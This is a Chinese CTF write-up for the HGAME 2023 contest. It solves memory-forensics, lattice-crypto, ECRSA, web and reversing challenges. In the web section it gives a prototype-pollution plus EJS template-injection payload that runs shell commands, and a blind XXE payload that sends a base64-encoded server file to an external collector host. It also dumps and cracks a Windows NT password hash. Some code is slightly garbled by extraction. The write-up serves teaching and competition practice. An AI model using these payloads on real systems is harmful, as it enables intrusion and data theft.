HGAME 2023 将于 1 月 5 日 20:00 正式开始, 祝大家玩得开心:-)

线上赛平台: https://hgame.vidar.club

请尽快注册,注册时请选择校外选手,注册将于1月12日20:00关闭

本次比赛的奖励事宜以及赛后沟通反馈以邮件为主,请各位使用真实的邮件地址

比赛奖金(针对校外榜): 第1名:1000Pwnhub金币 第2名:800Pwnhub金币 第3名:600Pwnhub金币 4-10名:300Pwnhub金币

补充说明:排行榜分数相同者,以先达到该分数的时间次序划定排名,每位获奖选手额外赠送 Pwnhub 邀请码一个

注意:

- * 所有选手均以个人为单位参赛;
- * 在解题过程中遇到瓶颈或困难可以私聊出题人
- * 禁止所有破坏比赛公平公正的行为,如:散播或与其他人交换 Flag、解题思路,对平台、参赛者或其他人员进行攻击。违者分数作废并取消比赛资格。
- * HGAME 线上赛分为四周,每周至官方wp发布前前禁止一切讨论本周题目以及公开自己 wp 的行为。在收集完成后会开放讨论,但仅能讨论已结束的题目。
- * 每周比赛结束后本周前20名需提交wp到指定邮箱

本比赛最终解释权归 Vidar-Team 所有

Rank: 9 / Total Rank: 8

Misc

ezWin (variables/auth/7zip)

非常常规的 Windows 内存取证,请使用 volatility3

注:系列题目使用同一个镜像,使用下方任意链接下载一次即可

https://pan.baidu.com/s/1FDQeEVFSSznEGpqmWgS47w?pwd=57l8

https://pan.quark.cn/s/9418099763d7

https://mega.nz/file/KzligTKR#PqV-I7LX5X4pmBHFJQVE8g2mFS60XCbQjTmw-el92ts

使用volatility3分析Windows 10镜像。

1. variables

查看环境变量:

python vol.py -f win10_22h2_19045.2486.vmem windows.envars

得到第1个flag值: hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}。

2. 7zip

查找7z文件:

python3 vol.py -f win10_22h2_19045.2486.vmem windows.filescan | grep -i 7z

找到 flag.7z , 导出:

python3 vol.py -f win10_22h2_19045.2486.vmem windows.dumpfiles --virtaddr 0xd0064181c950

打开发现需要密码,内含文件 crack_nt_hash_for_7z_pwd.txt , 文件名即提示 , 需要破解NTHash值得到解压密码。

提取账户信息:

python3 vol.py -f win10_22h2_19045.2486.vmem windows.hashdump

得到:

Noname 1000 aad3b435b51404eeaad3b435b51404ee

84b0d9c9f830238933e7131d60ac6436

使用cmd5查询得到 84b0d9c9f830238933e7131d60ac6436 对应明文为 asdqwe123 , 解压得到flag : hgame{e30b6984-615c-4d26-b0c4-f455fa7202e2}。

3. auth

查看命令行历史记录:

python vol.py -f win10_22h2_19045.2486.vmem windows.cmdline

发现提示 flag2 is current user nthash...,根据上一题hashdump得到的结果,flag为:

hgame{84b0d9c9f830238933e7131d60ac6436}。

LLLCG

"我保留了大部分LCG的特征,但是也去除了一部分,这样才知道你们需要用到LLL","你是有意把它去除的吗","是出题的过程中我去除了一部分","是故意的还是不小心","是故意的"

```
from Crypto.Util.number import *
from random import randint
from sage.all import next_prime
from flag import flag
class LCG():
    def __init__(self) -> None:
        self.n = next_prime(2**360)
        self.a = bytes_to_long(flag)
        self.seed = randint(1, self.n-1)
    def next(self):
        self.seed = self.seed * self.a + randint(-2**340, 2**340) % self.n
        return self.seed
lcg = LCG()
outputs = []
for i in range(40):
    outputs.append(lcg.next())
with open('output.txt', 'w') as f:
    f.write(str(outputs))
```

出题失误,self.seed = self.seed * self.a + randint(-2**340, 2**340) % self.n 该句代码未加括号,且 $r \in [-2^{340}, 2^{340}] < \sec d < n$,直接做整除操作可以恢复 a。

```
c = [...]

for i in range(1,40):
    m = c[i]//c[i-1]
    try:
        print(bytes.fromhex(hex(m)[2:]))
    except:
        pass

b'hgame{wOw_you_know_the_hidden_number_problem}'
```

LLLCG Revenge

```
from Crypto.Util.number import *
from random import randint
from sage.all import next_prime
from flag import flag
class LCG():
    def __init__(self) -> None:
        self.n = next_prime(2**360)
        self.a = bytes_to_long(flag)
        self.seed = randint(1, self.n-1)
    def next(self):
        self.seed = (self.seed * self.a + randint(-2**340, 2**340)) % self.n
        return self.seed
lcg = LCG()
outputs = []
for i in range(40):
    outputs.append(lcg.next())
with open('output.txt', 'w') as f:
    f.write(str(outputs))
```

```
修复后,有 s_{i+1}\equiv as_i+r_i\pmod n, i\in[0,38),即 s_{i+1}=as_i+r_i+k_in, i\in[0,38)。 令 A_i=s_i, B_i=-s_{i+1}, x=a,有 -r_i=A_ix+B_i+k_in,典型HNP问题,构建格:
```

其中 K 为 r_i 的上界 $K=2^{340}$, 则存在一个 M 的整系数线性组合 v , 用LLL算法可以得到 v_k 。

```
n =
c = [...]
t = 39
A = []
B = []
for i in range(39):
   A.append(c[i])
   B.append(-c[i+1])
K = 2^{340}
X = n * identity_matrix(QQ, t)
Z = matrix(QQ, [0] * t + [K/n] + [0]).transpose()
Z2 = matrix(QQ, [0] * (t+1) + [K]).transpose()
Y = block_matrix([[X],[matrix(QQ, A)], [matrix(QQ, B)]])
Y = block_matrix([[Y, Z, Z2]])
Y = Y.LLL()
k0 = ZZ(Y[1, 0] \% n)
flag = ZZ(Y[1, -2] / (K/n) \% n)
assert(k0 == (A[0]*flag + B[0]) % n)
print(bytes.fromhex(hex(flag)[2:]))
# b'hgame{Repair_modulus_prob1em_5o_HNP_Revenge}'
```

ECRSA

兔兔拜年时遇到了RSA,听说RSA还没有另一半于是把EC介绍给了他。

```
from sage.all import *
from sage.all_cmdline import *
from Crypto.Util.number import *
from secret import flag
Nbits = 512
x = bytes_to_long(flag)
f = open('./output', 'w')
def gen_pubkey(Nbits):
    p = getPrime(Nbits // 2)
    q = getPrime(Nbits // 2)
    n = p*q
    while True:
        a = getRandomInteger(Nbits // 2)
        b = getRandomInteger(Nbits // 2)
        if gcd(4*a**3 + 27*b**2, n) == 1:
            break
    E = EllipticCurve(Zmod(n), [a, b])
    e = getPrime(64)
    f.write(f"p={p}\nq={q}\n")
    return n, E, e
n, E, e = gen_pubkey(Nbits)
pt = E.lift_x(Integer(x))
ct = pt * e
f.write(f"n = {n}\na = {E.a4()}\nb = {E.a6()}\ne = {e}\n")
f.write(f"ciphertext = {long_to_bytes(int(ct.xy()[0]))}\n")
```

给出点 C=eP 的横坐标,根据椭圆曲线性质,点 C 也在曲线上。

再利用 e 对 $\#E(\mathbb{F}_p) imes\#E(\mathbb{F}_q)$ 取模逆即可得到 $E(\mathbb{Z}/n\mathbb{Z})$ 意义下的 d , 再解密按照RSA方式解密。

```
import gmpy2
```

```
\mathsf{p} \ = \ 115192265954802311941399019598810724669437369433680905425676691661793518967453
446615763391740446071787318153462098556669611
a = 34573016245861396068378040882622992245754693028152290874131112955018884485688
b = 103282137133820948206682036569671566996381438254897510344289164039717355513886
e = 11415307674045871669
ciphertext =
\xbbhR\xd6\xa0\xa2B\x0e\xd4\xdbr\xcc\xad\x1e\xa6\xba\xad\xe9L\xde\x94\xa4\xffkP\xcc\x00\x907\xf3\xea'
E = EllipticCurve(Zmod(n), [a, b])
cx = int(ciphertext.hex(),16)
Ep = E.change\_ring(GF(p))
Eq = E.change\_ring(GF(q))
d = inverse_mod(e, Ep.order() * Eq.order())
print(d)
cy2 = (cx^3 + a * cx + b) % n
c = cy2
e = 2
P. <a> = PolynomialRing(Zmod(p), implementation='NTL')
f = a^e-c
mps = f.monic().roots()
P. <a> = PolynomialRing(Zmod(q), implementation='NTL')
g = a^e-c
mqs = g.monic().roots()
cy_all = []
for mpp in mps:
   x = mpp[0]
   for mqq in mqs:
      y = mqq[0]
      cy_all.append(CRT_list([int(x), int(y)], [p, q]))
for cy in cy_all:
   C = E(cx, cy)
   m, = (int(d)*C).xy()
      print(bytes.fromhex(hex(m)[2:]))
   except:
      pass
# b'hgame{ECC_4nd_RSA_also_can_be_combined}'
```

Web

Shared Diary

ek1ng给协会成员写了一个在线共享日记本,不论是谁只要知道密码,都可以在上面记录自己的小秘密。不过好像他的js学的并不好导致无意中引入了漏洞,看来js也有很多安全问题。

node.js Express框架 , app.js :

```
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const randomize = require('randomatic');
const ejs = require('ejs');
const path = require('path');
const app = express();
function merge(target, source) {
    for (let key in source) {
        // Prevent prototype pollution
        if (key === '__proto__') {
            throw new Error("Detected Prototype Pollution")
       }
        if (key in source && key in target) {
            merge(target[key], source[key])
       } else {
            target[key] = source[key]
```

```
}
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json());
app.set('views', path.join(__dirname, "./views"));
app.set('view engine', 'ejs');
app.use(session({
    name: 'session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.all("/login", (req, res) => {
    if (req.method == 'POST') {
        // save userinfo to session
        let data = {};
        try {
            merge(data, req.body)
            console.log(data);
        } catch (e) {
            return res.render("login", {message: "Don't pollution my shared diary!"})
        req.session.data = data
        console.log(req.session);
        // check password
        let user = {};
        console.log(user);
        user.password = req.body.password;
        console.log(user);
        if (user.password=== "testpassword") {
            user.role = 'admin'
        }
        if (user.role === 'admin') {
            req.session.role = 'admin'
            return res.redirect('/')
        }else {
            return res.render("login", {message: "Login as admin or don't touch my shared diary!"})
        }
    res.render('login', {message: ""});
});
app.all('/', (req, res) \Rightarrow {
    if (!req.session.data || !req.session.data.username || req.session.role !== 'admin') {
        return res.redirect("/login")
    }
    if (req.method == 'POST') {
        let diary = ejs.render(`<div>${req.body.diary}</div>`)
        req.session.diary = diary
        return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
    return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
})
app.listen(8888, '0.0.0.0');
```

审计源码, merge() 函数存在原型链污染漏洞,但禁用了 __proto__,利用 constructor.prototype 绕过。

将 user.role 设置为 admin , 绕过权限控制后 , 进入 / 路由 , 而 ejs.render() 存在SSTI漏洞 , 设置 diary 值为 <%-global.process.mainModule.require('child_process').execSync('ls -al /') %> 即可RCE。

手动修改 Content-Type 为 [application/json], POST payload:

```
{"username":"xxx","password":"ttt",
"diary":"<%- global.process.mainModule.require('child_process').execSync('cat /flag') %>","constructor":
{"prototype":{"role":"admin"}}}
```

得到flag: hgame{NOtice_prototype_pollution&&EJS_server_template_injection}。

Just tell me your thoughts

查看源代码提示 hint: ./www.zip , 查看 send.php :

```
<?php
libxml_disable_entity_loader(false);
if ($_SERVER["REQUEST_METHOD"] == "POST"){
    $xmldata = file_get_contents("php://input");
    if (isset($xmldata)){
        $dom = new DOMDocument();
        try {
            $dom->loadXML($xmldata, LIBXML_NOENT | LIBXML_DTDLOAD);
        }catch(Exception $e){
            $result = "loading xml data error";
            echo $result;
            return;
        }
        $data = simplexml_import_dom($dom);
        if (!isset($data->name) || !isset($data->email) || !isset($data->content)){
            $result = "name,email,content cannot be empty";
            echo $result;
            return;
        }
        if ($data->name && $data->email && $data->content){
            $result = "Success! I will see it later";
            echo $result;
            return;
        }else {
            $result = "Parse xml data error";
            echo $result;
            return;
        }
    }
}else {
    die("Request Method Not Allowed");
}
?>
```

使用 loadxML()+simplexml_import_dom() 函数解析xml数据,存在XXE漏洞,但无可控制的回显信息,使用外带方式带出命令执行结果

在VPS新建 test.dtd , 内容:

```
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'https://eo3dgkbstljeu1v.m.pipedream.net?p=%file;'>">
```

POST数据:

```
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://VPS-IP/test.dtd">
%remote;%int;%send;
]>
<user><name>s</name><email>d</email><content>sss</content></user>
```

在pipedream得到回显:

https://eo3dgkbstljeu1v.m.pipedream.net?

p=PD9waHAgDQogICAgJGZsYWcxID0gImhnYW11e0J1X0F3YXJ1XzBmX1hYZUJsMW5kMW5qZWN0aTBufSI7DQo/Pg==

base64解码得 flag.php 内容:

```
<?php
    $flag1 = "hgame{Be_Aware_0f_XXeBl1nd1njecti0n}";
?>
```

shellcode

兔兔的电脑不小心中了病毒,病毒把他写的论文给加密了,你能帮兔兔恢复吗?

Go程序,在 main_main() 中查看代码逻辑,结合题目,其中一个长base64编码字符串可能为调用的shellcode字符串。

提取出来:

VUID7FBIjwwkIEiJTUBIiOVAiwCJRQC4BAAAAEgDRUCLAIlFBMdFCAAAAADHRQwj782rxOUQFgAAAMdFFCEAAADHRRgsAAAAxOUcNwAAAMdFIAAAA ACLRSCD+CBzWotFDANFCIlFCItFBMHgBANFEItVCANVBDPCilUEweoFaluUM8IDRQCJRQCLRQDB4AQDRRiLVQgDVQAzwotVAMHqBQNVHDPCAOUEiU UEUAEAAAADRSCJRSDrnkiLRUCLVQCJELgEAAAASANFQItVBIkQSIllMF3D

解码后保存为文件,使用IDA查看,识别为函数:

```
_DWORD *__fastcall sub_1(unsigned int *a1)
 _DWORD *result; // rax
 unsigned int v2; // [rsp+20h] [rbp+0h]
 unsigned int v3; // [rsp+24h] [rbp+4h]
 int v4; // [rsp+28h] [rbp+8h]
 unsigned int i; // [rsp+40h] [rbp+20h]
 v2 = *a1;
 v3 = a1[1];
 v4 = 0;
 for (i = 0; i < 0x20; ++i)
   v4 += 0xABCDEF23;
   v2 += ((v3 >> 5) + 33) \land (v3 + v4) \land (16 * v3 + 22);
    v3 += ((v2 >> 5) + 55) \land (v2 + v4) \land (16 * v2 + 44);
 }
 *a1 = v2;
 result = a1 + 1;
 a1[1] = v3;
 return result;
```

易知代码为魔改了Delta值的TEA加密算法,解密:

```
from Crypto.Util.number import *
def decrypt(v, k):
   v0 = v[0]
    v1 = v[1]
   x = 0xABCDEF23 * 32
    delta = 0xABCDEF23
    k0 = k[0]
    k1 = k[1]
    k2 = k[2]
    k3 = k[3]
    for i in range(32):
        v1 = ((v0 \ll 4) + k2) \land (v0 + x) \land ((v0 >> 5) + k3)
        v1 = v1 & 0xfffffff
        v0 = ((v1 << 4) + k0) \land (v1 + x) \land ((v1 >> 5) + k1)
        v0 = v0 & 0xfffffff
        x -= delta
        x = x & 0xfffffff
    v[0] = v0
    v[1] = v1
    return v
f = open('flag.enc','rb').read()
c = [bytes_{to}]ong(f[4*i:4*(i+1)][::-1]) for i in range(len(f)//4)]
print(c)
key = [22, 33, 44, 55]
flag = b''
for i in range(len(c)//2):
    d = decrypt(c[2*i:2*(i+1)], key)
    flag += long_to_bytes(d[0])[::-1] + long_to_bytes(d[1])[::-1]
print(flag)
# b"hgame{th1s_1s_th3_tutu's_h0mew0rk}\x00"
```